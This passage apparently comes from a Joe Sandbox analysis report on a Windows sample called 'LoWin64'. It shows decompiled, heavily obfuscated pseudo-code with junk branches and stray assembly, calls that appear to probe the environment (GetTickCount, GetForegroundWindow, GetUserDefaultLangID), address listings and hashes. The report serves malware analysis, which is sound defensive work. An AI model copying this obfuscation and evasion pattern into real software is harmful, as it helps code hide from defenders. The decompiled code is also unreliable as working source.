				_t408 = (_t405 - _t450 | 0xffffff80) + _t450;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t408);
				E00007FF67FF6B1D3ACF4(_t408);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t411 = (_t408 - _t450 | 0xffffff80) + _t450;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t411);
				E00007FF67FF6B1D3ACF4(_t411);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t414 = (_t411 - _t450 | 0xffffff80) + _t450;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t414);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t420 = ((_t414 - _t450 | 0xffffff80) + _t450 - _t450 | 0xffffff80) + _t450;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t176 = E00007FF67FF6B1D3ACF4(_t420);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t420 - _t450 | 0xffffff80) + _t450 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t176 & r14d;
			}

0x7ff6b1ca7e23
0x7ff6b1ca7e25
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e51
0x7ff6b1ca7e56
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

GetTickCount.KERNEL32 ref: 00007FF6B1CA7E2A

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: 7eda5d65dca3c2b85cae4b952481e99635e3117e0de8d398737afa960e1d079d
Instruction ID: 8e8c35e8b7279e0f68ec0a6048d89128e3504e89e6070c526867ebc54006de06
Opcode Fuzzy Hash: 7eda5d65dca3c2b85cae4b952481e99635e3117e0de8d398737afa960e1d079d
Instruction Fuzzy Hash: 60616E67F38A0A67F7115F2CAD492BA72A16F10709F740739C709E128ADF3CF5868248

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7FE6 Relevance: 7.7, APIs: 5, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00007FF67FF6B1CA7FE6(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t69;
				void* _t91;
				signed int _t134;
				signed int _t143;
				signed int _t145;
				void* _t154;
				signed int _t163;
				void* _t164;
				void* _t166;
				void* _t174;
				void* _t177;
				void* _t178;
				void* _t180;
				void* _t188;
				void* _t189;
				void* _t191;
				void* _t203;
				void* _t206;
				void* _t209;
				void* _t212;
				void* _t215;
				void* _t218;
				signed long long _t221;
				void* _t224;
				void* _t227;
				void* _t230;
				void* _t233;
				void* _t236;
				void* _t239;
				void* _t242;
				void* _t245;
				void* _t248;
				signed long long _t251;
				void* _t254;
				signed long long _t259;
				void* _t262;
				void* _t265;
				void* _t268;
				void* _t271;
				void* _t274;
				void* _t283;
				void* _t286;
				void* _t289;
				void* _t292;
				void* _t295;
				void* _t298;
				void* _t301;
				void* _t307;
				void* _t312;
				signed long long _t319;
				signed long long _t330;
				void* _t333;
				signed long long _t336;
				void* _t342;

				_t206 = (_t203 - _t336 | _t330) + _t336;
				if (_t206 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t206) & r14d) >= 0) goto 0xb1ca8005;
				_t209 = (_t206 - _t336 | _t330) + _t336;
				if (_t209 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t209) & r14d) >= 0) goto 0xb1ca8020;
				_t212 = (_t209 - _t336 | _t330) + _t336;
				 *0xb1decf60 = _t319;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t212);
				_t163 = E00007FF67FF6B1D3ACF4(_t212) & r14d;
				if (_t163 >= 0) goto 0xb1ca8046;
				_t215 = (_t212 - _t336 | _t330) + _t336;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t163 != 0) goto 0xb1ca805e;
				if (_t163 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t336;
				E00007FF67FF6B1D3ACF4(_t215);
				if (_t163 >= 0) goto 0xb1ca807a;
				_t218 = (_t215 - _t336 | _t330) + _t336;
				_t164 = _t218 - 0x3f;
				 *0xb1decf60 = _t319;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t218);
				if (_t164 >= 0) goto 0xb1ca80a0;
				_t221 = (_t218 - _t336 | _t330) + _t336;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = _t221;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t221);
				if (_t164 >= 0) goto 0xb1ca80d1;
				_t224 = (_t221 - _t336 | _t330) + _t336;
				 *0xb1decf60 = _t319;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t224);
				if (_t224 - 0x13 >= 0) goto 0xb1ca80f7;
				_t227 = (_t224 - _t336 | _t330) + _t336;
				_t166 = _t227 - 0x3f;
				if (_t166 >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t227);
				if (_t166 >= 0) goto 0xb1ca810c;
				_t230 = (_t227 - _t336 | _t330) + _t336;
				_t143 = r15d & 0xffffff00 | _t230 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = _t319;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t230) & r14d) >= 0) goto 0xb1ca812d;
				_t233 = (_t230 - _t336 | _t330) + _t336;
				if (_t233 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t233) & r14d) >= 0) goto 0xb1ca8142;
				_t236 = (_t233 - _t336 | _t330) + _t336;
				if (_t236 != 0x7e) goto 0xb1ca8168;
				_t69 = E00007FF67FF6B1D3ACF4(_t236);
				_t70 = _t69 & r14d;
				if ((_t69 & r14d) >= 0) goto 0xb1ca8157;
				_t239 = (_t236 - _t336 | _t330) + _t336;
				r8d = r15d;
				r8b = _t239 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t70, _t154, _t312, _a144, _t333); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t143, _t312, 0, _t239, _t342), _t154, _a144);
				 *0xb1decf60 = _t336;
				E00007FF67FF6B1D3ACF4(_t239);
				E00007FF67FF6B1D3ACF4(_t239);
				asm("push es");
				_t242 = (_t239 - _t336 | 0xffffff80) + _t336;
				asm("movsd xmm6, [0x11694a]");
				_t174 = _t242 - 5;
				if (_t174 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t242);
				if (_t174 >= 0) goto 0xb1ca81e3;
				_t245 = (_t242 - _t336 | 0xffffff80) + _t336;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t174 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t245);
				if (_t174 >= 0) goto 0xb1ca820e;
				_t248 = (_t245 - _t336 | 0xffffff80) + _t336;
				if (_t248 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t248);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t251 = (_t248 - _t336 | 0xffffff80) + _t336;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t251;
				 *0xb1decf60 = _t336;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t177 = r12d - 0x42;
				if (_t177 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t251);
				if (_t177 >= 0) goto 0xb1ca8274;
				_t254 = (_t251 - _t336 | 0xffffff80) + _t336;
				_t178 = _t254 - 0x2e;
				if (_t178 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t254);
				if (_t178 >= 0) goto 0xb1ca828f;
				_t145 = r15d & 0xffffff00 | (_t254 - _t336 | 0xffffff80) + _t336 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t91 = E00007FF67FF6B1D3ACF4((_t254 - _t336 | 0xffffff80) + _t336);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t145;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t145;
				 *0x6b =  *0x6b + _t91;
				_t259 = _a168 + _t336;
				_a168 = _t259;
				 *0xb1decf60 = _t259;
				_t180 = _t259 - 0x1f;
				if (_t180 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t336;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t259 =  *_t259 | _t259;
				if (_t180 >= 0) goto 0xb1ca8308;
				_t262 = (_t259 - _t336 | 0xffffff80) + _t336;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t180 != 0) goto 0xb1ca8318;
				if (_t180 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t262) & r14d) >= 0) goto 0xb1ca8333;
				_t265 = (_t262 - _t336 | 0xffffff80) + _t336;
				if (_t265 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t265) & r14d) >= 0) goto 0xb1ca835e;
				_t268 = (_t265 - _t336 | 0xffffff80) + _t336;
				if (_t268 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t268);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t271 = (_t268 - _t336 | 0xffffff80) + _t336;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t271);
				if (_t271 - 0x34 >= 0) goto 0xb1ca8397;
				_t274 = (_t271 - _t336 | 0xffffff80) + _t336;
				_t188 = _t274 - 0x1f;
				if (_t188 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t274);
				if (_t188 >= 0) goto 0xb1ca83ac;
				_t189 = (_t274 - _t336 | 0xffffff80) + _t336 - 4;
				if (_t189 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t274 - _t336 | 0xffffff80) + _t336);
				if (_t189 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t191 = r13d - 0x54;
				if (_t191 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t191 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t336;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t336;
				IsIconic(??);
				asm("adc al, 0x0");
				_t283 = 0x50 + _t336;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t283);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t286 = (_t283 - _t336 | 0xffffff80) + _t336;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t286);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t289 = (_t286 - _t336 | 0xffffff80) + _t336;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t289);
				E00007FF67FF6B1D3ACF4(_t289);
				E00007FF67FF6B1D3ACF4(_t289);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t292 = (_t289 - _t336 | 0xffffff80) + _t336;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t336;
				E00007FF67FF6B1D3ACF4(_t292);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t295 = (_t292 - _t336 | 0xffffff80) + _t336;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t295);
				E00007FF67FF6B1D3ACF4(_t295);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t298 = (_t295 - _t336 | 0xffffff80) + _t336;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t298);
				E00007FF67FF6B1D3ACF4(_t298);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t301 = (_t298 - _t336 | 0xffffff80) + _t336;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t301);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t307 = ((_t301 - _t336 | 0xffffff80) + _t336 - _t336 | 0xffffff80) + _t336;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t134 = E00007FF67FF6B1D3ACF4(_t307);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t307 - _t336 | 0xffffff80) + _t336 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t134 & r14d;
			}

0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807d
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
